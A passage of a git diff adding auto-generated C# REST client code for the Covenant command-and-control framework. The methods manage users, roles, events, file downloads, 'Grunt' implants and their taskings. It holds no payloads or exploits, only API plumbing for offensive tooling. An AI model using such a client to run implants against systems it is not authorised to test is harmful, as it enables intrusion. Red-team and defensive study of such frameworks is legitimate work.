+ } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 201) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 201) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiProfilesHttpByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesHttpByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/http/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task ApiProfilesHttpByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiProfilesHttpByIdDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Profiles/http/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 204) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + } +} diff --git a/Covenant/API/CovenantAPIExtensions.cs b/Covenant/API/CovenantAPIExtensions.cs new file mode 100644 index 00000000..4d1a18aa --- /dev/null +++ b/Covenant/API/CovenantAPIExtensions.cs @@ -0,0 +1,2830 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API +{ + using Models; + using System.Collections; + using System.Collections.Generic; + using System.Threading; + using System.Threading.Tasks; + + /// + /// Extension methods for CovenantAPI. + /// + public static partial class CovenantAPIExtensions + { + /// + /// The operations group for this extension method. + /// + public static IList ApiUsersGet(this ICovenantAPI operations) + { + return operations.ApiUsersGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiUsersGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static CovenantUser ApiUsersPut(this ICovenantAPI operations, CovenantUser user = default(CovenantUser)) + { + return operations.ApiUsersPutAsync(user).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersPutAsync(this ICovenantAPI operations, CovenantUser user = default(CovenantUser), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersPutWithHttpMessagesAsync(user, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static CovenantUser ApiUsersPost(this ICovenantAPI operations, CovenantUserLogin login = default(CovenantUserLogin)) + { + return operations.ApiUsersPostAsync(login).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersPostAsync(this ICovenantAPI operations, CovenantUserLogin login = default(CovenantUserLogin), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersPostWithHttpMessagesAsync(login, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static CovenantUser ApiUsersByUidGet(this ICovenantAPI operations, string uid) + { + return operations.ApiUsersByUidGetAsync(uid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersByUidGetAsync(this ICovenantAPI operations, string uid, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersByUidGetWithHttpMessagesAsync(uid, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static void ApiUsersByUidDelete(this ICovenantAPI operations, string uid) + { + operations.ApiUsersByUidDeleteAsync(uid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersByUidDeleteAsync(this ICovenantAPI operations, string uid, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiUsersByUidDeleteWithHttpMessagesAsync(uid, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static CovenantUserLoginResult ApiUsersLoginPost(this ICovenantAPI operations, CovenantUserLogin login = default(CovenantUserLogin)) + { + return operations.ApiUsersLoginPostAsync(login).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersLoginPostAsync(this ICovenantAPI operations, CovenantUserLogin login = default(CovenantUserLogin), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersLoginPostWithHttpMessagesAsync(login, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiUsersRolesGet(this ICovenantAPI operations) + { + return operations.ApiUsersRolesGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiUsersRolesGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersRolesGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static IList ApiUsersByUidRolesGet(this ICovenantAPI operations, string uid) + { + return operations.ApiUsersByUidRolesGetAsync(uid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task> ApiUsersByUidRolesGetAsync(this ICovenantAPI operations, string uid, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersByUidRolesGetWithHttpMessagesAsync(uid, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static IdentityUserRoleString ApiUsersByUidRolesByRidGet(this ICovenantAPI operations, string uid, string rid) + { + return operations.ApiUsersByUidRolesByRidGetAsync(uid, rid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersByUidRolesByRidGetAsync(this ICovenantAPI operations, string uid, string rid, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersByUidRolesByRidGetWithHttpMessagesAsync(uid, rid, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static IdentityUserRoleString ApiUsersByUidRolesByRidPost(this ICovenantAPI operations, string uid, string rid) + { + return operations.ApiUsersByUidRolesByRidPostAsync(uid, rid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersByUidRolesByRidPostAsync(this ICovenantAPI operations, string uid, string rid, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiUsersByUidRolesByRidPostWithHttpMessagesAsync(uid, rid, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static void ApiUsersByUidRolesByRidDelete(this ICovenantAPI operations, string uid, string rid) + { + operations.ApiUsersByUidRolesByRidDeleteAsync(uid, rid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiUsersByUidRolesByRidDeleteAsync(this ICovenantAPI operations, string uid, string rid, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiUsersByUidRolesByRidDeleteWithHttpMessagesAsync(uid, rid, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiRolesGet(this ICovenantAPI operations) + { + return operations.ApiRolesGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiRolesGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiRolesGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static IdentityRole ApiRolesByRidGet(this ICovenantAPI operations, string rid) + { + return operations.ApiRolesByRidGetAsync(rid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiRolesByRidGetAsync(this ICovenantAPI operations, string rid, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiRolesByRidGetWithHttpMessagesAsync(rid, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiEventsGet(this ICovenantAPI operations) + { + return operations.ApiEventsGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiEventsGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static EventModel ApiEventsPost(this ICovenantAPI operations, EventModel anEvent = default(EventModel)) + { + return operations.ApiEventsPostAsync(anEvent).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiEventsPostAsync(this ICovenantAPI operations, EventModel anEvent = default(EventModel), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsPostWithHttpMessagesAsync(anEvent, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static EventModel ApiEventsByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiEventsByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiEventsByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static long? ApiEventsTimeGet(this ICovenantAPI operations) + { + return operations.ApiEventsTimeGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiEventsTimeGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsTimeGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static IList ApiEventsRangeByFromdateGet(this ICovenantAPI operations, long fromdate) + { + return operations.ApiEventsRangeByFromdateGetAsync(fromdate).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task> ApiEventsRangeByFromdateGetAsync(this ICovenantAPI operations, long fromdate, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsRangeByFromdateGetWithHttpMessagesAsync(fromdate, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static IList ApiEventsRangeByFromdateByTodateGet(this ICovenantAPI operations, long fromdate, long todate) + { + return operations.ApiEventsRangeByFromdateByTodateGetAsync(fromdate, todate).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task> ApiEventsRangeByFromdateByTodateGetAsync(this ICovenantAPI operations, long fromdate, long todate, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsRangeByFromdateByTodateGetWithHttpMessagesAsync(fromdate, todate, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static DownloadEvent ApiEventsDownloadByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiEventsDownloadByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiEventsDownloadByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsDownloadByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static string ApiEventsDownloadByIdContentGet(this ICovenantAPI operations, int id) + { + return operations.ApiEventsDownloadByIdContentGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiEventsDownloadByIdContentGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsDownloadByIdContentGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static EventModel ApiEventsDownloadPost(this ICovenantAPI operations, DownloadEvent downloadEvent = default(DownloadEvent)) + { + return operations.ApiEventsDownloadPostAsync(downloadEvent).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiEventsDownloadPostAsync(this ICovenantAPI operations, DownloadEvent downloadEvent = default(DownloadEvent), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiEventsDownloadPostWithHttpMessagesAsync(downloadEvent, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiGruntsGet(this ICovenantAPI operations) + { + return operations.ApiGruntsGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiGruntsGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Grunt ApiGruntsPut(this ICovenantAPI operations, Grunt grunt = default(Grunt)) + { + return operations.ApiGruntsPutAsync(grunt).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsPutAsync(this ICovenantAPI operations, Grunt grunt = default(Grunt), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsPutWithHttpMessagesAsync(grunt, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Grunt ApiGruntsPost(this ICovenantAPI operations, Grunt grunt = default(Grunt)) + { + return operations.ApiGruntsPostAsync(grunt).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsPostAsync(this ICovenantAPI operations, Grunt grunt = default(Grunt), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsPostWithHttpMessagesAsync(grunt, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Grunt ApiGruntsByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiGruntsByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static void ApiGruntsByIdDelete(this ICovenantAPI operations, int id) + { + operations.ApiGruntsByIdDeleteAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsByIdDeleteAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiGruntsByIdDeleteWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiGruntTasksGet(this ICovenantAPI operations) + { + return operations.ApiGruntTasksGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiGruntTasksGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntTasksGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static GruntTask ApiGruntTasksByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiGruntTasksByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntTasksByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntTasksByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static GruntTask ApiGruntTasksByIdPut(this ICovenantAPI operations, int id, GruntTask task = default(GruntTask)) + { + return operations.ApiGruntTasksByIdPutAsync(id, task).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntTasksByIdPutAsync(this ICovenantAPI operations, int id, GruntTask task = default(GruntTask), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntTasksByIdPutWithHttpMessagesAsync(id, task, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static GruntTask ApiGruntTasksByIdPost(this ICovenantAPI operations, int id, GruntTask task = default(GruntTask)) + { + return operations.ApiGruntTasksByIdPostAsync(id, task).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntTasksByIdPostAsync(this ICovenantAPI operations, int id, GruntTask task = default(GruntTask), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntTasksByIdPostWithHttpMessagesAsync(id, task, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static void ApiGruntTasksByIdDelete(this ICovenantAPI operations, int id) + { + operations.ApiGruntTasksByIdDeleteAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntTasksByIdDeleteAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiGruntTasksByIdDeleteWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static GruntTask ApiGruntTasksByTasknameGet(this ICovenantAPI operations, string taskname) + { + return operations.ApiGruntTasksByTasknameGetAsync(taskname).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntTasksByTasknameGetAsync(this ICovenantAPI operations, string taskname, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntTasksByTasknameGetWithHttpMessagesAsync(taskname, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static IList ApiGruntsByIdTaskingsGet(this ICovenantAPI operations, int id) + { + return operations.ApiGruntsByIdTaskingsGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task> ApiGruntsByIdTaskingsGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsByIdTaskingsGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static GruntTasking ApiGruntsByIdTaskingsPost(this ICovenantAPI operations, int id, GruntTasking gruntTasking = default(GruntTasking)) + { + return operations.ApiGruntsByIdTaskingsPostAsync(id, gruntTasking).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsByIdTaskingsPostAsync(this ICovenantAPI operations, int id, GruntTasking gruntTasking = default(GruntTasking), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsByIdTaskingsPostWithHttpMessagesAsync(id, gruntTasking, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static GruntTasking ApiGruntsByIdTaskingsByTasknameGet(this ICovenantAPI operations, int id, string taskname) + { + return operations.ApiGruntsByIdTaskingsByTasknameGetAsync(id, taskname).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiGruntsByIdTaskingsByTasknameGetAsync(this ICovenantAPI operations, int id, string taskname, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiGruntsByIdTaskingsByTasknameGetWithHttpMessagesAsync(id, taskname, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// + public static GruntTasking ApiGruntsByIdTaskingsByTasknamePut(this ICovenantAPI operations, int id, string taskname, GruntTasking gruntTasking = default(GruntTasking)) + { + return 